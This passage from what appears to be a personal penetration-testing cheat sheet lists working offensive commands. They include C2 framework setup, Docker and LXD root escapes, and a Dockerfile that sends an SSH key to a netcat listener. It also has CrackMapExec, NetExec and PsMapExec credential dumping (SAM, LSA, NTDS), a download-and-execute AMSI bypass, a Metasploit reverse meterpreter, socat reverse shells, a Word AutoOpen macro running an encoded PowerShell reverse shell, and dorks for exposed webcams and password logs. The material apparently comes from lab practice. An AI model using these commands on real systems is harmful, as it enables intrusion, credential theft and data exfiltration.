| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server
|-
| .jks
| Java KeyStore
| Private keys and certificates
| Binary (JKS)
| Storing certificates and private keys in Java environments
| Storing certificates and keys for Java-based applications like Tomcat
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat
|}

----

== Command and control - C2 framework ==

=== Covenant ===

<syntaxhighlight lang="bash">
# https://github.com/cobbr/Covenant
# Installation and running
git clone --recurse-submodules https://github.com/cobbr/Covenant
# Be sure to install the dotnet core version 3.1 SDK!
# Build and run convenant
$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
</syntaxhighlight>

=== Powershell-empire (And starkiller) ===

<syntaxhighlight lang="bash">
# https://github.com/EmpireProject/Empire
# Installation and running
sudo ./setup/install.sh
# Or
sudo apt install powershell-empire
# Starkiller
# https://github.com/BC-SECURITY/Starkiller
# Starkiller is a Frontend for Powershell Empire.
# Change the permissions
chmod a+x starkiller-.AppImage
# Then execute
./starkiller-.AppImage --no-sandbox
</syntaxhighlight>

=== Meterpreter ===

<syntaxhighlight lang="bash">
# Log location
~/.msf4/logs/framework.log
# DBMS used is postgresql.
# If IOError, check logs. If Postgresql, check the postgresql logs at:
/var/log/postgresql/...
# Initialize db
msfdb init # only if needed
# Metasploit location
/opt/metasploit-framework/embedded/framework/
</syntaxhighlight>

----

== Compiling exploits ==

=== Compile .asm to elf ===

<syntaxhighlight lang="bash">
nasm -f elf64 thm.asm
ld thm.o -o thm
./thm
THM,Rocks!
</syntaxhighlight>

=== Compile .cpp to .exe ===

<syntaxhighlight lang="bash">
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp
</syntaxhighlight>

=== Compile .cs to .exe ===

<syntaxhighlight lang="bash">
# Using csc
csc payload.cs
# Using mono - https://www.mono-project.com/
mcs payload.cs
</syntaxhighlight>

=== Compile .c to .exe ===

<syntaxhighlight lang="bash">
## Create 32-bit Windows executable with:
i686-w64-mingw32-gcc -o main32.exe main.c
## Create 64-bit Windows executable with:
x86_64-w64-mingw32-gcc -o main64.exe main.c
# Flags:
-lwsock32 and -lws2_32
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.
</syntaxhighlight>

=== Compile .c in linux using --static ===

<syntaxhighlight lang="bash">
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.
gcc 45010.c -o exploit --static

gcc 45010.c -o exploit -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.

-------------------------------
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf
</syntaxhighlight>

=== Compile .c to 32-bit windows ===

<syntaxhighlight lang="bash">
gcc exploit.c -m32 -o exploit
</syntaxhighlight>

----

== Docker - Privile Escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]

=== Shell ===

This will create a docker image, that you can run and get a shell with

<syntaxhighlight lang="bash">
# Create a docker file
FROM alpine:latest
ENV WORKIDR /privesc
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR]
WORKDIR $WORKDIR
# Build the docker container
docker build -t imagename .
# Now run the image with /bin/bash. -it means interactive and terminal
docker run -v /:/mountdir -it imagename /bin/bash
root@machine#
-----------------------------------------------
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
</syntaxhighlight>

=== Exfiltrate data ===

See notes for Deployer

<syntaxhighlight lang="bash">
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80
shanah@deployer:/opt$ cat dockerfile
FROM alpine
COPY id_rsa.bak /tmp/id_rsa.bak
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80
# After running the below command, look at your netcat listener.
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .
</syntaxhighlight>

----

== Exec-Tools ==

=== CrackMapExec ===

<syntaxhighlight lang="bash">
https://wiki.porchetta.industries/
# READ MORE IN THE LINK ABOVE!!!!
# SMB commands
# Obtaining creds
# Require Domain Admin or Local Admin
# Dump SAM
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
## Dump LSA
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
## Dump NTDS.dit
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
## LPAS - If installed on the domain
crackmapexec smb -u user-can-read-laps -p pass --laps
# LDAP
## Dump gMSA
crackmapexec ldap -u -p --gmsa
## LAPS - If installed on the domain
crackmapexec ldap -u user-can-read-laps -p pass -M laps
## Extract gMSA secrets
crackmapexec ldap -u -p --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
rackmapexec ldap -u -p --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
## List all PKI enrollment server
crackmapexec run ldap -u user -p pass -M adcs
## Extract subnet
crackmapexec ldap -u -p -M get-network
crackmapexec ldap -u -p -M get-network -o ONLY_HOSTS=true
crackmapexec ldap -u -p -M get-network -o ALL=true
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
</syntaxhighlight>

=== NetExec ===

<syntaxhighlight lang="bash">
# https://github.com/Pennyw0rth/NetExec
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
# cheatsheet
https://www.netexec.wiki/
# General
netexec -u username -p password
# Using modules
# List available modules
nxc smb -L
# View module options
nxc smb -M lsassy --options
# Using Kerberos
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local --use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
# Send a local file to the remote target
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
# Read LAPS
nxc smb -u user-can-read-laps -p pass --laps
# Impersonate logged on user
# 1. Enumerate logged-on users on your Target
nxc smb -u -p --loggedon-users
# 2. Execute commands on behalf of other users
nxc smb -u -p -M schtask_as -o USER= CMD=
# Find Domain SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
# Kerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
# Dump gMSA
$ nxc ldap -u -p --gmsa
# Bloodhound ingenstor
nxc ldap -u user -p pass --bloodhound -ns --collection All

</syntaxhighlight>

==== Meterpreter using Invoke-metasploitpayload.ps1 ====

<syntaxhighlight lang="bash">
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter
# Meterpreter
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.
# On your Metasploit instance, run the following commands
use exploit/multi/script/web_delivery
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script
set SRVHOST 10.211.55
set SRVPORT 8443
# The target variable determines what type of script we're using. 2 is for PowerShell
set target 2
# Pick your payload. In this case, we'll use a reverse https meterpreter payload
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443
# Run the exploit
run -j
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
# Then just run the met_inject module and specify the LHOST and LPORT values:
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
</syntaxhighlight>

=== PsMapExec ===

<syntaxhighlight lang="powershell">
# Cheathseet
https://viperone.gitbook.io/pentest-everything/psmapexec
https://github.com/The-Viper-One/PsMapExec
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
# Load directly into memory and attempt to bypass AV
# Invoke-NETMongoose.ps1 is an AMSI bypass
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.
## Primarily these are:
### Kirby (PowerShell based Kerberos ticket dump)
### Invoke-Pandemonium (Slightly modified Mimikatz)

# Examples
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command "net user"
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command "net user"
# Check RDP Access against workstations in the domain
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP
# Dump SAM on all servers in the domain using SMB
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over SMB
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords
</syntaxhighlight>

== GIT ==

See PG Hunit writeup

=== Download .git ===

<syntaxhighlight lang="bash">
mkdir
./gitdumper.sh /.git/
</syntaxhighlight>

=== Extract .git content ===

<syntaxhighlight lang="bash">
mkdir
./extractor.sh
</syntaxhighlight>

=== GIT basic commands ===

<syntaxhighlight lang="bash">
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files
git add -A
# Configure who you are in order to commit
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
# The git commit command **captures a snapshot of the project's currently staged changes**.
git commit -m "This is a message"
# Push your changes to the remote server. "master" refers to master branch in your repository.
git push origin master
</syntaxhighlight>

=== ===

=== GIT_SSH_COMMAND ===

<syntaxhighlight lang="bash">
# GIT_SSH_COMMAND
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.243.125:/git-server
# This command wil SSH to user git and push the changes to the remote server.
GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git push origin master
</syntaxhighlight>

=== GitLeaks - Scan repos for secrets ===

<syntaxhighlight lang="bash">
# https://github.com/zricethezav/gitleaks
gitleaks detect --source . -v
</syntaxhighlight>

----

== Google Dorking ==

<syntaxhighlight lang="bash">
https://dorksearch.com/
site:target[.]com ext:php inurl:?
site:target.tld intitle:"index of /" # intitle:"index of /": This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.
</syntaxhighlight>

=== Search operators ===

[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]

{| class="wikitable"
|-
! Operator
! Description
! Syntax
! Example
|-
| ()
| Group multiple terms or operators. Allows advanced expressions
| (<term> or <operator>)
| inurl:(html | php)
|-
| *
| Wildcard. Matches any word
| <text> * <text>
| How to * a computer
|-
| ""
| The given keyword has to match exactly. case-insensitive
| "<keywords>"
| "google"
|-
| m..n / m...n
| Search for a range of numbers. n should be greater than m
| <number>..<number>
| 1..100
|-
| -
| Documents that match the operator are excluded. NOT-Operator
| -<operator>
| -site:youtube.com
|-
| +
| Include documents that match the operator
| +<operator>
| +site:youtube.com
|-
| |
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match
| <operator> | <operator>
| "google" | "yahoo"
|-
| ~
| Search for synonyms of the given word. Not supported by Google
| ~<word>
| ~book
|-
| @
| Perform a search only on the given social media platform. Rather use site
| @<socialmedia>
| @instagram
|-
| after
| Search for documents published / indexed after the given date
| after:<yy(-mm-dd)>
| after:2020-06-03
|-
| allintitle
| Same as intitle but allows multiple keywords seperated by a space
| allintitle:<keywords>
| allintitle:dog cat
|-
| allinurl
| Same as inurl but allows multiple keywords seperated by a space
| allinurl:<keywords>
| allinurl:search com
|-
| allintext
| Same as intext but allows multiple keywords seperated by a space
| allintext:<keywords>
| allintext:math science university
|-
| AROUND
| Search for documents in which the first word is up to n words away from the second word and vice versa
| <word1> AROUND(<n>) <word2>
| google AROUND(10) good
|-
| author
| Search for articles written by the given author if applicable
| author:<name>
| author:Max
|-
| before
| Search for documents published / indexed before the given date
| before:<yy(-mm-dd)>
| before:2020-06-03
|-
| cache
| Search on the cached version of the given website. Uses Google's cache to do so
| cache:<domain>
| cache:google.com
|-
| contains
| Search for documents that link to the given fileype. Not supported by Google
| contains:<filetype>
| contains:pdf
|-
| date
| Search for documents published within the past n months. Not supported by Google
| date:<number>
| date:3
|-
| define
| Search for the definition of the given word
| define:<word>
| define:funny
|-
| ext
| Search for a specific filetype
| ext:<documenttype>
| ext:pdf
|-
| filetype
| Refer to ext
| filetype:<documenttype>
| filetype:pdf
|-
| inanchor
| Search for the given keyword in a website's anchors
| inanchor:<keyword>
| inanchor:security
|-
| index of
| Search for documents containing direct downloads
| index of:<term>
| index of:mp4 videos
|-
| info
| Search for information about a website
| info:<domain>
| info:google.com
|-
| intext
| Keyword needs to be in the text of the document
| intext:<keyword>
| intext:news
|-
| intitle
| Keyword needs to be in the title of the document
| intitle:<keyword>
| intitle:money
|-
| inurl
| Keyword needs to be in the URL of the document
| inurl:<keyword>
| inurl:sheet
|-
| link / links
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website
| link:<keyword>
| link:google
|-
| location
| Show documents based on the given location
| location:<location>
| location:USA
|-
| numrange
| Refer to m..n
| numrange:<number>-<number>
| numrange:1-100
|-
| OR
| Refer to |
| <operator> OR <operator>
| "google" OR "yahoo"
|-
| phonebook
| Search for related phone numbers associated with the given name
| phonebook:<name>
| phonebook:"william smith"
|-
| relate / related
| Search for documents that are related to the given website
| relate:<domain>
| relate:google.com
|-
| safesearch
| Exclude adult content such as pornographic videos
| safesearch:<keyword>
| safesearch:sex
|-
| source
| Search on a specific news site. Rather use site
| source:<news>
| source:theguardian
|-
| site
| Search on the given site. Given argument might also be just a TLD such as com, net, etc
| site:<domain>
| site:google.com
|-
| stock
| Search for information about a market stock
| stock:<stock>
| stock:dax
|-
| weather
| Search for information about the weather of the given location
| weather:<location>
| weather:Miami
|}

=== Finding Valuable Information ===

<syntaxhighlight lang="bash">
intitle:"webcamXP 5" | inurl:"lvappl.htm"
</syntaxhighlight>

Find open/public webcams

<syntaxhighlight lang="bash">
intext:password ext:log
</syntaxhighlight>

Find log documents wich have the string "password" in it

<syntaxhighlight lang="bash">
inurl:/proc/self/cwd
</syntaxhighlight>

Find vulnerable webservers

<syntaxhighlight lang="bash">
inurl:email.xls ext:xls
</syntaxhighlight>

Find excel documents that contain email addresses

<syntaxhighlight lang="bash">
index of:mp3 intext:.mp3
</syntaxhighlight>

Find mp3 (music) documents

<syntaxhighlight lang="bash">
intext:"index of /"
</syntaxhighlight>

Finding indexed files

----

== Listener ==

<syntaxhighlight lang="bash">
# ATTENTION
# Some target machines might block the port you've choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.
</syntaxhighlight>

=== Metasploit ===

<syntaxhighlight lang="bash">
use exploit/multi/handler
set PAYLOAD
set LHOST
set LPORT
set ExitOnSession false
exploit -j -z
</syntaxhighlight>

=== Netcat ===

<syntaxhighlight lang="bash">
# Listen on port
nc -lvnp
# Use rlwrap for better shell on Windows
rlwrap nc -lvnp
# Connect to port
nc -nv
</syntaxhighlight>

=== Socat ===

<syntaxhighlight lang="bash">
# Basic listener
socat TCP-L: -
# Windows connect back
socat TCP::
EXEC:powershell.exe,pipes
# Linux connect back
socat TCP:: EXEC:"bash -li"
# Encrypted shell - Basic listener
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –
# Connect back
socat OPENSSL::,verify=0 EXEC:/bin/bash
</syntaxhighlight>

----

== LXD - Privilege escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]

Step 1

<syntaxhighlight lang="bash">
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]
└─# ls
alpine.yaml lxd.tar.xz rootfs.squashfs
</syntaxhighlight>

Step 2

<syntaxhighlight lang="bash">
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz
--2022-02-10 14:04:26-- http://10.10.14.18:9000/lxd.tar.xz
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 844 [application/x-xz]
Saving to: ‘lxd.tar.xz’
lxd.tar.xz 100%[===================>] 844 --.-KB/s in 0s
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs
--2022-02-10 14:04:36-- http://10.10.14.18:9000/rootfs.squashfs
Connecting to 10.10.14.18:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2052096 (2.0M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’
rootfs.squashfs 100%[===================>] 1.96M 4.02MB/s in 0.5s
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]
</syntaxhighlight>

Step 3

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
ash@tabby:~$ lxc image list
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 9c716211a82e | no | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64 | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+
</syntaxhighlight>

Step 4

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
</syntaxhighlight>

==== Fix no storage pool found with lxd init ====

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: hello
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H
Invalid input, try again.
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H
Invalid input, try again.
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
</syntaxhighlight>

Step 5

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
ash@tabby:~$ lxc list
+---------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+------+------+-----------+-----------+
| privesc | STOPPED | | | CONTAINER | 0 |
+---------+---------+------+------+-----------+-----------+
</syntaxhighlight>

Step 6

<syntaxhighlight lang="bash">
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
ash@tabby:~$ lxc start privesc
ash@tabby:~$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
</syntaxhighlight>

----

== Macro ==

=== Microsoft Word ===

Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.

When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.

Remember to set Macro in the document, otherwise it will only work locally.

[[File:2022-09-image.png|thumb]]

<syntaxhighlight lang="bash">
# Open Word --> View --> Macro --> Show Macro --> Create
# The below script will send a reverse shell powershell command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ"
Str = Str + "QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB"
Str = Str + "TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A"
Str = Str + "EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg"
Str = Str + "ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY"
Str = Str + "gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB"
...
Str = Str + "AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac"
Str = Str + "AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB"
Str = Str + "lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA"
Str = Str + "FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA"
Str = Str + "AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK"
Str = Str + "QA="
CreateObject("Wscript.Shell").Run Str
End Sub
------------------------
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and 'Powershell#3 Base64'
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]
└─# cat payload.py
str="powershell -e JABjAGwAaQBlAG4AdAAgAD..."
n=50
for i in range(0,len(str),n):
print("Str = str+" + '"' + str[i:i+n] +'"')

...................................
# The below script will ping target.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "Ping.exe -t 192.168.119.182"
End Sub
</syntaxhighlight>

[[File:2022-08-image-4.png|thumb]]

=== LibreOffice Basic ===

=== ===

[[File:2022-08-Pasted-image-20220704111937.png|thumb]]

[[File:2022-08-Pasted-image-20220704111909.png|thumb]]

Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –> Customize and select Open Document.

[[File:2022-08-image-3.png|thumb]]

----

== Mitre Framework ==

{| class="wikitable"
|-
! Title
! URL
! Short Description
|-
| MITRE Engage
| [https://engage.mitre.org/ https://engage.mitre.org/]
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.
|-
| MITRE ATT&CK
| [https://attack.mitre.org/ https://attack.mitre.org/]
| MITRE ATT&CK is a knowledge base for adversary tactics and techniques used in cyberattacks.
|-
| MITRE Cyber Analytics Repository (CAR)
| [https://car.mitre.org/ https://car.mitre.org/]
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.
|-
| MITRE D3FEND
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&CK.
|-
| Common Vulnerabilities and Exposures (CVE)
| [https://cve.mitre.org/ https://cve.mitre.org/]
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.
|-
| Common Attack Pattern Enumeration and Classification (CAPEC)
| [https://capec.mitre.org/ https://capec.mitre.org/]
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.
|-
| Common Weakness Enumeration (CWE)
| [https://cwe.mitre.org/ https://cwe.mitre.org/]
| CWE is a community-developed list of common software and hardware weaknesses.
|-
| Malware Attribute Enumeration and Characterization (MAEC)
| [https://maecproject.github.io/ https://maecproject.github.io/]
| MAEC is a project for standardizing the encoding and communication of malware characteristics.
|}

----

== Monitor Processes ==

=== Process Explorer ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.

* '''Features:'''
Real-time monitoring of active processes, threads, and modules.

* Hierarchical view of processes, showing parent-child relationships.

* Detailed information about process properties, memory usage, and CPU utilization.

* Identification of the processes responsible for specific open handles or DLLs.

* Capabilities to suspend, terminate, or explore processes.

* Integration with VirusTotal to scan processes for malware.

* '''Use Case:''' Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.

=== Process Monitor ===

[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]

* '''Purpose:''' Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.

* '''Features:'''
Detailed tracking of file system and registry operations, including reads, writes, and modifications.

* Capturing of process and thread activity, including creation, termination, and interactions.

* Filtering and searching capabilities to narrow down the captured data.

* Advanced filtering to include/exclude specific processes, operations, or paths.

* Ability to generate logs for analysis and troubleshooting.

